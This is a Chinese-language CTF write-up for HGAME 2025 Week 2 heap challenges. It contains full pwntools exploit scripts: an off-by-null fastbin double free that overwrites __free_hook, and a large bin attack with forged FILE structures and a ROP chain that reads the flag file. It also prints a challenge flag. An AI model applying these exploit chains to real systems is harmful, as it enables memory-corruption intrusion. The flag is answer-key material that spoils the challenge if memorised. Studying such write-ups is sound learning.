HGAME 2025 Week 2 Writeup

Signin2Heap

Vulnerabilities

存在 off-by-null 漏洞,当 prev_size 域复用时,可置零相邻 chunk 的 prev_inuse 位。

只能申请至多 0xFF 大小的堆块,考虑 fastbin attack。

Exploit

由于程序没有编辑功能,只能使用 add 功能修改堆数据。布置大小分别为 0xf0, 0x68, 0xf0 的三个堆块,然后将 0xf0 大小的 tcache bin 填满。此时释放 chunk 0,将进入 unsorted bin 。为了泄露出 libc 有关地址,我们需要利用 show 功能输出 freed chunk 上的指针 (即 fd )。通过如下操作可以实现类似 UAF 的效果:

  • 修改 chunk 2 的 prev_sizeprev_inuse
  • 释放 chunk 2,引起向后合并,此时堆管理器认为 chunk 0 ~ chunk 2 都已经为空闲状态,放入 unsorted bin
  • 先清空优先级更高的 tcache bin ,然后申请 chunk 0 大小的堆,从 unsorted bin 中取,此时 fd 移动到 chunk 0 的后面。

经过以上操作后,chunk 1 的位置恰好是 unsorted bin 的头部。但同时程序逻辑上 chunk 1 并没有被释放,引起了 UAF,double free。

再次填满 tcache bin ,利用 fastbin double free 可实现任意写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level ="debug"
p = remote("node1.hgame.vidar.club",32253)
e = ELF("./vuln")
libc = ELF("./libc-2.27.so")
def add(index,size,content):
p.sendafter("Your choice:",b"\x01\x00")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",content)
def show(index):
p.sendafter("Your choice:",b"\x03\x00")
p.sendlineafter("Index:",str(index))
def dele(index):
p.sendafter("Your choice:",b"\x02\x00")
p.sendlineafter("Index:",str(index))
add(0,0xf0,'a')
add(1,0x68,'a')
add(2,0xf0,'b')
for i in range(3,10):
add(i,0xf0,'a')
for i in range(3,10): #fill tcache
dele(i)
dele(0)
dele(1)
add(1,0x68,b'a'*0x60+p64(0x170))
dele(2)
for i in range(3,10):
add(i,0xf0,'a')
add(0,0xf0,'a')
show(1)
main_arena = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = main_arena - 0x3ebca0
log.info(hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f302
add(11,0x30,'a')
add(12,0x30,'a')
for i in range(3,10):
dele(i)
for i in range(3,10):
add(i,0x30,'a')
for i in range(3,10): #fill tcache
dele(i)
dele(11)
dele(12) #a padding chunk
dele(1) #fastbin double free
for i in range(3,10):
add(i,0x30,'a') #clear tcache
add(1,0x30,p64(free_hook))
add(12,0x30,'qaq')
add(11,0x30,'qaq') #clear padding chunk
add(13,0x30,p64(one_gadget)) #a chunk at <__free_hook>
dele(0)
p.interactive()

Where is the vulnerability

第一次打这么高版本的 libc(原谅我当时脑抽看成 2.29,一堆老漏洞用了半天发现不行 hhh)

禁用 execve

Vulnerabilities

明显的 UAF 漏洞。

只能申请 0x500 ~ 0x900 大小的堆,考虑 large bin attack。

Exploit

堆块大小限制导致我们只能使用 unsorted binlarge bin,即使通过 UAF 漏洞可以修改堆上的 size 从而使其进入 tcache bin ,但是不能重新申请进行利用。

显而易见的,可以利用 unsorted bin 的特性快速得到 libc 基址。

同时,布置后续的堆块,以进行 large bin attack。

large bin attack 的操作简要描述如下,当然在 how2heap 中有更好更详细的描述:

  • 申请两个 chunk,且大小不相同,并在其之后都申请任意大小的堆块,防止释放后合并;
  • 释放 chunk 0;
  • 申请一个大于 chunk 0 大小的堆,chunk 0 将进入 large bin
  • 释放 chunk 2;
  • 修改 chunk 0 的 bk_nextsizetarget - 0x20{sizeof(prev_size + fd + bk + fd_nextsize)}
  • 重复第三步,chunk 2 将进入 large bin ,由于 chunk 2 更小,导致操作 bk_nextsize->fd_nextsize = &chunk2

此时就在目标位置写入了 chunk 2 的 prev_size 地址。

通过一种叫做 House of apple 的方式,就可以攻击 IO,劫持程序执行流。

在泄露出 libc 地址后,进而得到 IO_list_all 的地址,利用 large bin attack 将 chunk 地址写入,之后在 chunk 2 上伪造 FILE 结构体。

原理部分请自行查找(毕竟我还没完全弄明白)。我们主要关注伪造 IO 的最后一行,它可以让我们跳转到一个地址,即控制一次 $RIP 。我们的目的是找到一个 gadget,帮助我们实现栈迁移,执行 ROP 链。

可以利用的 gadget 如下:

gadget 1

动态调试可以发现 $rax 指向 fake_io 有关地址,因此可以改变 $rdx 的值。

$rdx 改为一处可读写段,执行下一段 gadget:

gadget 2.1
gadget 2.2

修改 $rsp 实现栈迁移,注意在后面会将 $rcx=[rdx+0xa8] 入栈,改为一个对后续无影响的可执行地址即可,或者 ROP 的第一个地址。

最后进入 exit() 触发相关调用链,执行 orw(如此有仪式感的操作自然是手动完成)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import *
context.log_level ="debug"
p = remote("node1.hgame.vidar.club",31067)
e = ELF("./vuln")
libc = ELF("./libc.so.6")


def add(index,size):
p.sendlineafter("5. Exit",b"1")
p.sendlineafter("Index:",str(index))
p.sendlineafter("Size: ",str(size))
def show(index):
p.sendlineafter("5. Exit",b"4")
p.sendlineafter("Index:",str(index))
def dele(index):
p.sendlineafter("5. Exit",b"2")
p.sendlineafter("Index:",str(index))
def edit(index,content):
p.sendlineafter("5. Exit",b"3")
p.sendlineafter("Index:",str(index))
p.sendafter("Content: ",content)


add(0,0x528)
add(1,0x508) #prevent consolidating
add(2,0x518)
add(3,0x721)
dele(0)
show(0)


main_arena = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = main_arena - 0x203b20
IO_list_all=libc_base+libc.symbols['_IO_list_all']
_IO_stdfile_2_lock=libc_base+0x205700

_open=libc_base+libc.sym['open']
_read=libc_base+libc.sym['read']
_write=libc_base+libc.sym['write']

pop_rdi = libc_base + 0x10f75b
pop_rsi = libc_base + 0x110a4d
pop_rdx = libc_base + 0x66b9a #pop rdx ; ret 0x19

gadget = libc_base + 0x176f0e
setcontext = libc_base + 0x4a98d
ret = libc_base + 0x2882f
log.info(hex(libc_base))


add(4,0x558)
dele(2)
show(0)
chunk_fd = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
edit(0,b'a'*16)
show(0)
fd_nextsize = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
heap_base = fd_nextsize + 0x10
log.info(hex(heap_base))


edit(0,p64(chunk_fd)*2+p64(fd_nextsize)+p64(IO_list_all-0x20))
add(5,0x558) #large bin attack: write chunk address at target


orw_addr = heap_base + 0x1bf0
file_addr = heap_base + 0xa30
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68

fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base;
fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) # _IO_save_base
fake_io += p64(0)*3 # from _IO_backup_base to _markers
fake_io += p64(0) # the FILE chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(_IO_stdfile_2_lock) # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_io += p64(0) # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1
fake_io += p64(0) * 2 # from _freeres_list to __pad5
fake_io += p64(orw_addr+0x100) #rdx value(__pad5)
fake_io += p32(0xFFFFFFFF) # _mode, usually -1
fake_io += b"\x00" * 19 # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00') # adjust to vtable
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps']) # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(gadget) #set rdx
edit(2,fake_io)

orw_payload = flat({
0x00: [
p64(pop_rdi),
p64(orw_addr+0x128),
p64(pop_rsi),
p64(0),
p64(pop_rdx),
p64(0),
p64(_open), # open(./flag,0,0)
b'a'*0x19, # padding
p64(pop_rdi),
p64(3),
p64(pop_rsi),
p64(orw_addr+0x200),
p64(pop_rdx),
p64(0x30),
p64(_read), # read(3,buf,0x30)
b'a'*0x19,
p64(pop_rdi),
p64(1),
p64(pop_rsi),
p64(orw_addr+0x200),
p64(pop_rdx),
p64(0x30),
p64(_write), # write(1,buf,0x30)
b'a'*0x19,
],
0x120: [
p64(setcontext),
b'./flag\x00\x00',
],
0x1a0: [
p64(orw_addr), #rsp value
p64(ret),
]
})
edit(5,orw_payload)
edit(1,b'a'*0x500+b' sh;') #reserved for debug, [$rdi]


p.interactive()

Hit list

很遗憾本题没有解出,因为前面较少接触的堆题耗费了我挺多心力的,到这已经没什么精力去做了。不过收获很多,是大于遗憾的。

明年见!

平台很好看,出题人很热心,题目很难(

1
hgame{see_you_next_year!!!}